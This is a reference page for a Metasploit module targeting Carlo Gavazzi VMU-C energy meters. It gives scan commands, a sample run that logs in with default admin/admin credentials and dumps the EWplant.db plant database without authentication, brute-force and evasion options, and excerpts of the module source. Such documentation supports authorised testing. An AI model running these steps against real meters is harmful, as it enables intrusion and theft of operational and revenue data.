Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/gavazzi_em_login_loot metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database
Module: auxiliary/scanner/http/gavazzi_em_login_loot
Source code: modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb
Disclosure date: -
Last modification time: 2021-06-16 15:24:15 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-5146
This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/gavazzi_em_login_loot
msf auxiliary(gavazzi_em_login_loot) > show options
... show and set options ...
msf auxiliary(gavazzi_em_login_loot) > set RHOSTS ip-range
msf auxiliary(gavazzi_em_login_loot) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(gavazzi_em_login_loot) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(gavazzi_em_login_loot) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(gavazzi_em_login_loot) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication.
The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics.
Vulnerable firmware versions include:
- VMU-C EM prior to firmware Version A11_U05
- VMU-C PV prior to firmware Version A17.
Verification Steps
- Do:
use auxiliary/scanner/http/gavazzi_em_login_loot
- Do:
set RHOSTS [IP]
- Do:
set RPORT [PORT]
- Do:
run
Scenarios
msf > use auxiliary/scanner/http/gavazzi_em_login_loot
msf auxiliary(gavazzi_em_login_loot) > set rhosts 1.3.3.7
msf auxiliary(gavazzi_em_login_loot) > set rport 80
msf auxiliary(gavazzi_em_login_loot) > run
[+] 1.3.3.7:80 - [1/1] - Running Carlo Gavazzi VMU-C Web Management portal...
[*] 1.3.3.7:80 - [1/1] - Trying username:"admin" with password:"admin"
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin"
[+] 1.3.3.7:80 - Firmware version A8_U03...
[+] 1.3.3.7:80 - SMTP server: "", SMTP username: "", SMTP password: ""
[*] 1.3.3.7:80 - dumping EWplant.db
[+] 1.3.3.7:80 - EWplant.db retrieved successfully!
[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.db
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/gavazzi_em_login_loot auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/gavazzi_em_login_loot
msf6 auxiliary(scanner/http/gavazzi_em_login_loot) > show info
Name: Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database
Module: auxiliary/scanner/http/gavazzi_em_login_loot
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Karn Ganeshen <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD admin yes A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME admin yes A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
Description:
This module scans for Carlo Gavazzi Energy Meters login portals,
performs a login brute force attack, enumerates device firmware
version, and attempt to extract the SMTP configuration. A valid,
admin privileged user is required to extract the SMTP password. In
some older firmware versions, the SMTP config can be retrieved
without any authentication. The module also exploits an access
control vulnerability which allows an unauthenticated user to
remotely dump the database file EWplant.db. This db file contains
information such as power/energy utilization data, tariffs, and
revenue statistics. Vulnerable firmware versions include - VMU-C EM
prior to firmware Version A11_U05 and VMU-C PV prior to firmware
Version A17.
References:
https://ics-cert.us-cert.gov/advisories/ICSA-17-012-03
https://nvd.nist.gov/vuln/detail/CVE-2017-5146
Module Options
This is a complete list of options available in the scanner/http/gavazzi_em_login_loot auxiliary module:
msf6 auxiliary(scanner/http/gavazzi_em_login_loot) > show options
Module options (auxiliary/scanner/http/gavazzi_em_login_loot):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD admin yes A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME admin yes A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/gavazzi_em_login_loot auxiliary module:
msf6 auxiliary(scanner/http/gavazzi_em_login_loot) > show advanced
Module advanced options (auxiliary/scanner/http/gavazzi_em_login_loot):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22
is different from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be use
d.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
PASSWORD_SPRAY false yes Reverse the credential pairing order. For each password, attempt every possible user.
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/gavazzi_em_login_loot module can do:
msf6 auxiliary(scanner/http/gavazzi_em_login_loot) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/gavazzi_em_login_loot auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/gavazzi_em_login_loot) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
- <RHOST>:<RPORT> - HTTP Connection Failed...
- <RHOST>:<RPORT> - Application is not Carlo Gavazzi. Module will not continue.
- <RHOST>:<RPORT> - HTTP Connection Failed...
- error
- <RHOST>:<RPORT> - HTTP Connection Failed...
- <RHOST>:<RPORT> - HTTP Connection Failed...
- <RHOST>:<RPORT> - SMTP config could not be retrieved. Check if the user has administrative privileges
- FAILED LOGIN - <RHOST>:<RPORT> - <USER.INSPECT>:<PASS.INSPECT>
- <RHOST>:<RPORT> - HTTP Connection Failed...
- <RHOST>:<RPORT> - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - HTTP Connection Failed...
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - HTTP Connection Failed..." error message:
62: 'uri' => '/',
63: 'method' => 'GET'
64: }
65: )
66: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
67: vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
68: return false
69: end
70:
71: good_response = (
72: res &&
<RHOST>:<RPORT> - Application is not Carlo Gavazzi. Module will not continue.
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Application is not Carlo Gavazzi. Module will not continue." error message:
76:
77: if good_response
78: vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...")
79: return true
80: else
81: vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.")
82: return false
83: end
84: end
85:
86: def report_cred(opts)
<RHOST>:<RPORT> - HTTP Connection Failed...
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - HTTP Connection Failed..." error message:
137: }
138: }
139: )
140:
141: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
142: vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
143: return :abort
144: end
145:
146: good_response = (
147: res &&
error
Here is a relevant code snippet related to the "error" error message:
145:
146: good_response = (
147: res &&
148: res.code == 200 &&
149: res.body.include?('Login in progress') || res.body.include?('Login in corso') &&
150: res.body.match(/id="error" value="2"/) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php')
151: )
152:
153: if good_response
154: print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
155:
<RHOST>:<RPORT> - HTTP Connection Failed...
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - HTTP Connection Failed..." error message:
163: 'Cookie' => cookie_value
164: }
165: }
166: )
167: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
168: vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
169: return :abort
170: end
171:
172: if res && res.code == 200
173: if res.body.include?('Firmware Version') || res.body.include?('Versione Firmware')
<RHOST>:<RPORT> - HTTP Connection Failed...
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - HTTP Connection Failed..." error message:
201: }
202: }
203: )
204:
205: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
206: vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
207: return :abort
208: end
209:
210: if (res && res.code == 200 && res.body.include?('SMTP'))
211: dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1]
<RHOST>:<RPORT> - SMTP config could not be retrieved. Check if the user has administrative privileges
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - SMTP config could not be retrieved. Check if the user has administrative privileges" error message:
220: if (!smtp_server.nil?) && (!smtp_user.nil?) && (!smtp_pass.nil?)
221: print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}")
222: end
223: end
224: else
225: vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges")
226: end
227: return :next_user
228: else
229: print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
230: end
FAILED LOGIN - <RHOST>:<RPORT> - <USER.INSPECT>:<PASS.INSPECT>
Here is a relevant code snippet related to the "FAILED LOGIN - <RHOST>:<RPORT> - <USER.INSPECT>:<PASS.INSPECT>" error message:
224: else
225: vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges")
226: end
227: return :next_user
228: else
229: print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
230: end
231: end
232:
233: #
234: # Dump EWplant.db database file - No authentication required
<RHOST>:<RPORT> - HTTP Connection Failed...
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - HTTP Connection Failed..." error message:
241: 'uri' => '/cfg/EWplant.db',
242: 'method' => 'GET'
243: }
244: )
245: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
246: vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
247: return :abort
248: end
249:
250: if res && res.code == 200
251: print_status("#{rhost}:#{rport} - dumping EWplant.db")
<RHOST>:<RPORT> - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?" error message:
253: loot_name = 'EWplant.db'
254: loot_type = 'SQLite_db/text'
255: loot_desc = 'Carlo Gavazzi EM - EWplant.db'
256: path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body , loot_desc)
257: print_good("#{rhost}:#{rport} - File saved in: #{path}")
258: else
259: vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?")
260: return
261: end
262: end
263: end
Go back to menu.
Related Pull Requests
- #15345 Merged Pull Request: fixed reference url
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7944 Merged Pull Request: Add Carlo Gavazzi module
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/cnpilot_r_web_login_loot
- auxiliary/scanner/snmp/cnpilot_r_snmp_loot
- auxiliary/scanner/snmp/epmp1000_snmp_loot
- exploit/dialup/multi/login/manyargs
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/concrete5_member_list
- auxiliary/scanner/http/emby_ssrf_scanner
- auxiliary/scanner/http/emby_version_ssrf
- auxiliary/scanner/http/ms15_034_http_sys_memory_dump
- auxiliary/scanner/http/oracle_demantra_database_credentials_leak
- auxiliary/scanner/http/oracle_demantra_file_retrieval
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/zenworks_assetmanagement_fileaccess
- auxiliary/scanner/http/zenworks_assetmanagement_getconfig
- auxiliary/scanner/dcerpc/management
- auxiliary/scanner/discovery/empty_udp
- auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
- auxiliary/scanner/emc/alphastor_devicemanager
- auxiliary/scanner/emc/alphastor_librarymanager
- auxiliary/scanner/kademlia/server_info
- auxiliary/scanner/memcached/memcached_amp
- auxiliary/scanner/memcached/memcached_udp_version
- auxiliary/scanner/msmail/onprem_enum
- auxiliary/scanner/mssql/mssql_schemadump
- auxiliary/scanner/mysql/mysql_schemadump
- auxiliary/scanner/oracle/emc_sid
- auxiliary/scanner/postgres/postgres_schemadump
- auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec
- auxiliary/scanner/sap/sap_soap_rfc_system_info
- auxiliary/scanner/scada/profinet_siemens
Authors
- Karn Ganeshen <KarnGaneshen[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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